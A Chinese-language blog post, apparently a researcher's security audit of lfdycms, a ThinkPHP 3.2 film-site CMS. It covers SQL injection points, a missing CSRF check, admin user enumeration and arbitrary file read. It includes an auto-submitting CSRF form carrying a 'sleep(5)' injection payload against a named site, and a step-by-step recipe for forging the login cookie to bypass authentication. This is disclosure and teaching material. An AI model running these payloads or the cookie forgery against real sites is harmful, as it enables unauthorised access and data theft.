lfdycms审计
前段时间审计的一个CMS,分享一下
lfdycms简介
lfdycms是基于thinkphp3.2开发的影视CMS
漏洞
前台SQL注入
thinkphp 3.2的find、select、delete存在SQL注入漏洞
原理:https://xz.aliyun.com/t/2629#toc-1
搜索电影注入
这里使用了存在漏洞的detail方法
Application/Home/Controller/MovieController.class.php
public function index(){
$id=I('id');
$info=D("Movie")->detail($id);
if(!$info){
$error = D("Movie")->getError();
$this->error(empty($error) ? '未找到该影片!' : $error,U('Home/Index/index'));
}
$info=D("Tag")->movieChange($info,"movie",1);
$tpl=D("Category")->getTpl($info['cid'],'template_detail');
if(!$tpl){
$error = D("Category")->getError();
$this->error(empty($error) ? '未知错误!' : $error);
}
Cookie('__forward__',$_SERVER['REQUEST_URI']);
D('Movie')->hits($id);
$this->assign('pos',1);
$this->assign($info);
$this->display(".".$this->tplpath."/".$tpl);
}
Application/Home/Model/MovieModel.class.php
/**
* 获取详情页数据
* @param integer $id 文档ID
* @return array 详细数据
*/
public function detail($id){
$info = $this->field(true)->find($id);
if(!(is_array($info) || 1 !== $info['status'] || 1 !== $info['display'])){
$this->error = '影片被禁用或已删除!';
return false;
}
return $info;
}
搜索存在漏洞的detail方法,可以看到home模块下有四个可利用的点,查了下CNVD,都被人报上去了,还看到一个Ajaxcontroller.class.php控制器拼接参数的注入
其他几个也是这样,就不写了
随机返回电影注入
还有拼接参数的
Application/Home/Controller/AjaxController.class.php
public function randMovie(){
$data=D('Ajax')->randMovie(I('limit'),I('category'));
$this->ajaxReturn($data);
}
Application/Home/Model/AjaxModel.class.php
public function randMovie($limit=6,$category=''){
if($category){
$type='and category='.$category;
}
$prefix=C('DB_PREFIX');
$mlist=M()->query('SELECT * FROM `'.$prefix.'movie` AS t1 JOIN (SELECT ROUND(RAND() * ((SELECT MAX(id) FROM `'.$prefix.'movie`)-(SELECT MIN(id) FROM `'.$prefix.'movie`))+(SELECT MIN(id) FROM `'.$prefix.'movie`)) AS idx) AS t2 WHERE t1.id >= t2.idx '.$type.' ORDER BY t1.id LIMIT '.$limit);
foreach($mlist as $key=>$value){
$list[$key]=D('Tag')->movieChange($value,'movie');
}
return $list;
}
普通用户发送信息注入
必须用GET,这里可以看成前台,因为普通用户可以认证绕过
Application/User/Controller/MessageController.class.php的add方法调用存在漏洞的get_user_name方法
public function add(){
if(IS_POST){
$rs = D('Message')->send();
if($rs){
$this->success('信息发送成功!');
} else {
$this->error(D('Message')->getError());
}
} else {
if($_GET['uid']){
$this->username=get_user_name(I('get.uid'));
$this->type=1;
}
$this->display();
}
}
Application/Common/Common/function.php的get_user_name方法,这里使用find方法导致产生SQL注入漏洞
/**
* 根据用户ID获取用户昵称
* @param integer $uid 用户ID
* @return string 用户昵称
*/
function get_user_name($uid = 0){
$info = M('Users')->field('username')->find($uid);
if($info !== false && $info['username'] ){
$name = $info['username'];
} else {
$name = '';
}
return $name;
}
后台SQL注入
发送信息注入
管理员后台发送信息位置存在SQL注入,和普通用户原理是一样的
后台删除影片注入
Application/Admin/Controller/MovieController.class.php
public function delurl($pid = null){
//删除影片地址
$res = M('movie_url')->delete($pid);
if($res !== false){
$this->success('删除影片播放地址成功!');
}else{
$this->error('删除影片播放地址失败!');
}
}
CSRF
thinkphp有验证令牌的方法autoCheckToken()可以用于防止CSRF,位于ThinkPHP/Library/Think/Model.class.php,管理员后台的用户添加功能就调用了这个方法,因此无法通过CSRF添加用户(不过能添加也不行,这操作太明显了)
发送消息功能并没有CSRF防护,测试SQL注入的POC
<html>
<body>
<script>history.pushState('', '', '/')</script>
<form action="http://lfdycms.tlmssfs.com/admin.php" name=formname>
<input type="hidden" name="s" value="/Message/add.html" />
<input type="hidden" name="id[alias]" value="where 1 and sleep(5)--" />
</form>
<script type="text/javascript">document.formname.submit()</script>
</body>
</html>
用户遍历
http://lfdycms.tlmssfs.com/admin.php?s=/Public/login.html
管理员登录报错信息会提示用户不存在,如果能识别验证码就能遍历用户,实在不行手测也是可以的
Application/Admin/Controller/PublicController.class.php
/**
* 后台用户登录
*/
public function login($username = null, $password = null, $passcode = null){
if(IS_POST){
/* 检测验证码 TODO: */
if(!check_verify($passcode)){
$this->error("验证码错误!");
}
$uid = D('Public')->login($username, $password);
if(0 < $uid){ //UC登录成功
$this->success('登录成功!', U('Index/index'));
} else { //登录失败
switch($uid) {
case -1: $error = '用户不存在或被禁用!'; break; //系统级别禁用
case -2: $error = '密码错误!'; break;
default: $error = '未知错误!'; break; // 0-接口参数错误(调试阶段使用)
}
$this->error($error);
}
} else {
if(is_login()){
$this->redirect('Index/index');
}else{
/* 读取数据库中的配置 */
$config = S('DB_CONFIG_DATA');
if(!$config){
$config = config_lists();
S('DB_CONFIG_DATA',$config);
}
C($config); //添加配置
$this->display();
}
}
}
普通用户认证绕过
认证绕过和审计过的另一个CMS代码基本一样,这还是陈年老认证代码啊。。。
构造cookie就可以登录
lf_users_user_auth_sign=65ec3b63342f804c7b2b97fbf88cda5550544cd7
lf_users_user_auth=think%3A%7B%22uid%22%3A%2215%22%2C%22username%22%3A%22wdnmd%22%7D
构造过程如下
lf_users_user_auth构造如下格式字符,里面的值只要uid的值存在就可以查到对应用户的其它信息,uid从15开始
think:{“uid”:”15”,”username”:”2222”}
把lf_users_user_auth用http_build_query函数格式化为形如
uid=15&username=2222
的字符串对第二步构造的字符串用sha1生成摘要,作为签名 lf_users_user_auth_sign
Application/Common/Common/function.php
/**
*检测用户是否登录
*@returninteger 0-未登录,大于0-当前登录用户ID
*/
function is_user_login(){
$user = cookie('user_auth');
if (empty($user)) {
return 0;
} else {
return cookie('user_auth_sign') == data_auth_sign($user) ? $user['uid'] : 0;
}
}
/**
* 数据签名认证
* @param array $data 被认证的数据
* @return string 签名
*/
function data_auth_sign($data) {
//数据类型检测
if(!is_array($data)){
$data = (array)$data;
}
ksort($data); //排序
$code = http_build_query($data); //url编码并生成query字符串
$sign = sha1($code); //生成签名
return $sign;
}
任意文件读取
管理后台模板管理处读取任意文件,获取文件路径只是简单的把*
换成了/
,经测试成功读取数据库配置文件
Application/Admin/Controller/TemplateController.class.php
public function edit($path = null){
......
$path = realpath(C('TPL_PATH').str_replace('*','/',$_GET['path']));
$content=Storage::read($path);
$type=substr(strrchr($path, '.'), 1);
switch($type){
case "css":
$mode="css";
break;
case "js":
$mode="application/javascript";
break;
default:
$mode="application/x-httpd-php";
break;
}
$this->assign('title', basename($path));
$this->assign('path', $this->file_path($path));
$this->assign('mode', $mode);
$this->assign('content', $content);
$this->meta_title = '编辑模板';
$this->display();
......
}
另外还有一点,这里虽然没法编辑,但是提交编辑请求后抓包可以得到文件绝对路径
总结
- 学到了thinkphp3的一些开发知识,感觉与thinkphp5区别不大,单字母命名的函数不太友好。。
- 即使是框架的二次开发,也会存在拼接SQL语句的情况,原因不尽相同,有的是没法拼接,有的是不方便或者开发者偷懒。
- 看到CNVD上有人报RCE,我大概看了下,没找到,改日研究
参考
本博客所有文章除特别声明外,均采用 CC BY-SA 4.0 协议 ,转载请注明出处!